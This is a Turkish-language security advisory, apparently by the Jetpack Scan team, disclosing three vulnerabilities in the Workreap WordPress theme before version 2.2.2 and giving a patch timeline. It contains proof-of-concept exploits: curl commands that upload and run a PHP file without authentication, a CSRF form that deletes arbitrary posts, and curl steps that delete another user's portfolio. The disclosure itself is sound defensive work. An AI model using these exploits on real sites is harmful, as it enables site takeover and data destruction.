Amentotech'in Workreap temasındaki çoklu güvenlik açıkları

Yayınlanan: 2021-07-07

Kısa süre önce Jetpack ekibi, barındırılan müşterilerimizin sitelerinden birinde bazı virüslü dosyalar buldu ve enfeksiyon kaynağını hızla Amentotech'in Workreap temasına kadar takip etti. Bir araştırma başlattık ve temada bir dizi savunmasız AJAX uç noktasını ortaya çıkardık; bunların en şiddetlisi, potansiyel olarak uzaktan kod yürütülmesine ve tüm sitenin ele geçirilmesine yol açan, kimliği doğrulanmamış, doğrulanmamış bir yükleme güvenlik açığıydı.

Güvenlik açıklarını Envato Helpful Hacker programı aracılığıyla Amentotech ekibine bildirdik ve sorunlar onlar tarafından derhal ele alındı. Temanın 2.2.2 sürümü, bulunan güvenlik açıklarını gideren 29 Haziran 2021'de yayınlandı.

TL; DR

Güvenlik açıklarının ciddiyeti nedeniyle, Workreap temasının tüm kullanıcılarının mümkün olan en kısa sürede 2.2.2 veya sonraki bir sürüme yükseltmelerini önemle tavsiye ederiz.

Yükseltmeyi tema web sitesinden indirin ve manuel olarak yükleyin veya Envato market eklentisi aracılığıyla otomatik olarak yükseltin.

Detaylar

Tema Adı: Workreap
Tema URI'si: http://amentotech.com/projects/wpworkreap
Yazar: Amentotech
Yazar URI'si: https://themeforest.net/user/amentotech/portfolio

Güvenlik Açıkları

Güvenlik açıklarının ciddiyeti nedeniyle, kullanıcılara yükseltme yapmaları için zaman tanımak için konsept kanıtı ve tam analiz yayınlamayı erteleyeceğiz.

Uzaktan kod yürütülmesine yol açan kimliği doğrulanmamış yükleme

Etkilenen Sürümler: < 2.2.2
CVE-ID: CVE-2021-24499
CVSSv3.1: 10.0
CWE: CWE-284, CWE-641,
CWSS: 90,7
WPScan bağlantısı: https://wpscan.com/vulnerability/74611d5f-afba-42ae-bc19-777cdf2808cb

AJAX eylemleri workreap_award_temp_file_uploader ve workreap_temp_file_uploader nonce kontrolleri gerçekleştirmedi veya isteğin başka bir şekilde geçerli bir kullanıcıdan geldiğini doğrulamadı. uploads/workreap-temp dizinine rastgele dosyaların yüklenmesi için izin verilen uç noktalar. Yüklenen dosyalar ne sterilize edildi ne de doğrulandı, bu da kimliği doğrulanmamış bir ziyaretçinin php komut dosyaları gibi yürütülebilir kodlar yüklemesine izin verdi.

Kavramın ispatı

% curl -F 'action=workreap_award_temp_file_uploader' -F [email protected] 'https://example.com/wp-admin/admin-ajax.php'
{"type":"success","message":"File uploaded!","thumbnail":"https:\/\/example.com\/wp-content\/uploads\/workreap-temp\/malicious.php","name":"malicious.php","size":"24.00 B"}

% curl 'https://example.com/wp-content/uploads/workreap-temp/malicious.php'
PWNED!

Birden çok CSRF + IDOR güvenlik açığı

Etkilenen Sürümler: < 2.2.2
CVE-ID: CVE-2021-24500
CVSSv3.1: 8.2
CWE: CWE-283, CWE-284, CWE-862
CWSS: 78,3
WPScan bağlantısı: https://wpscan.com/vulnerability/0c4b5ecc-54d0-45ec-9f92-b2ca3cadbe56

Workreap temasında bulunan birkaç AJAX eylemi, CSRF korumalarından yoksundu ve ayrıca doğrulanmayan güvenli olmayan doğrudan nesne referanslarına (IDOR) izin verdi. Bu, bir saldırganın, oturum açmış bir kullanıcıyı, hedef sitedeki rastgele nesneleri potansiyel olarak değiştirerek veya silerek, savunmasız siteye bir POST isteği göndermesi için kandırmasına olanak tanır.

2.0.0'dan önceki sürümlerde, bu eylemler kimlik doğrulamasından tamamen yoksundu ve siteye gelen herhangi bir ziyaretçi tarafından istismar edilebilirdi.

Kavramın ispatı

<form action="https:/example.com/wp-admin/admin-ajax.php" method="POST">
    <input name="action" type="hidden" value="workreap_portfolio_remove">
    <!-- note value does not have to be a portfolio, any post id will do -->
    <input name="id" type="hidden" value="1361">
    <input type="submit" value="Get rich!">
</form>

AJAX işlemlerinde eksik yetkilendirme kontrolleri

Etkilenen Sürümler: < 2.2.2
CVE-ID: CVE-2021-24501
CVSSv3.1: 7.1
CWE: CWE-283, CWE-862
CWSS: 68,5
WPScan bağlantısı: https://wpscan.com/vulnerability/66e4aaf4-5ef7-4da8-a45c-e24f449c363e

Workreap temasında bulunan birkaç AJAX eyleminde, bir kullanıcının nesneleri değiştirme veya silme gibi kritik işlemleri gerçekleştirme yetkisine sahip olduğunu doğrulamak için yetkilendirme kontrolleri eksikti. Bu, oturum açmış bir kullanıcının sitedeki diğer kullanıcılara ait nesneleri değiştirmesine veya silmesine izin verdi.

2.0.0'dan önceki sürümlerde, bu eylemler kimlik doğrulamasından tamamen yoksundur ve siteye gelen herhangi bir ziyaretçi tarafından istismar edilebilirdi.

Kavramın ispatı

# log in as arbitrary freelancer
curl -c .cookies -F action=workreap_ajax_login -F username=balle -F password=hunter2 \
  https://example.com/wp-admin/admin-ajax.php
{"job":"no","type":"success","role_type":"freelancers","redirect":"https:\/\/example.com\/dashboard\/?ref=profile&mode=settings&identity=3","url":"https:\/\/example.com\/","loggedin":true,"message":"Successfully Logged in"}%                                                                                                     

# delete arbitrary portfolio
curl -s -b .cookies -F action=workreap_portfolio_remove -F id=1361 \
  https://example.com/wp-admin/admin-ajax.php
{"type":"success","message":"Portfolio removed successfully."}

Zaman çizelgesi

2021-06-24: Jetpack Scan ekibi tarafından keşfedilen ve Envato Helpful Hacker programına bildirilen ilk yükleme güvenlik açığı.
2021-06-25: Amentotech'in Envato aracılığıyla bilgilendirildiği belgelenen başka güvenlik açıkları keşfedildi.
2021-06-27: Sürüm 2.2.1 yayınlandı, güvenlik açıklarının tümünü olmasa da bazılarını ele aldı.
2021-06-29: Sürüm 2.2.2 yayınlandı ve düzeltmeler Jetpack Scan ekibi tarafından doğrulandı.

Çözüm

Sitenizde kullandığınız Workreap temasının güncel sürümünü kontrol etmenizi ve 2.2.2'den küçükse en kısa sürede güncellemenizi öneririz!

Jetpack'te web sitelerinizin bu tür güvenlik açıklarından korunmasını sağlamak için çok çalışıyoruz. Yeni tehditlerden bir adım önde olmak için güvenlik taraması ve otomatik kötü amaçlı yazılım temizlemeyi içeren Jetpack Scan'e göz atın.

Kredi

Orijinal araştırmacı: Harald Eilertsen

Geri bildirim, yardım ve düzeltmeler için Jetpack Scan ekibinin geri kalanına teşekkür ederiz. Ayrıca, Amentotech'e ulaşmada yardım için Envato Helpful Hacker programının kailoon'una ve sorunların ele alınmasında ve güncellenmiş sürümün yayınlanmasında hızlı bir yanıt için Amentotech'e teşekkür ederiz.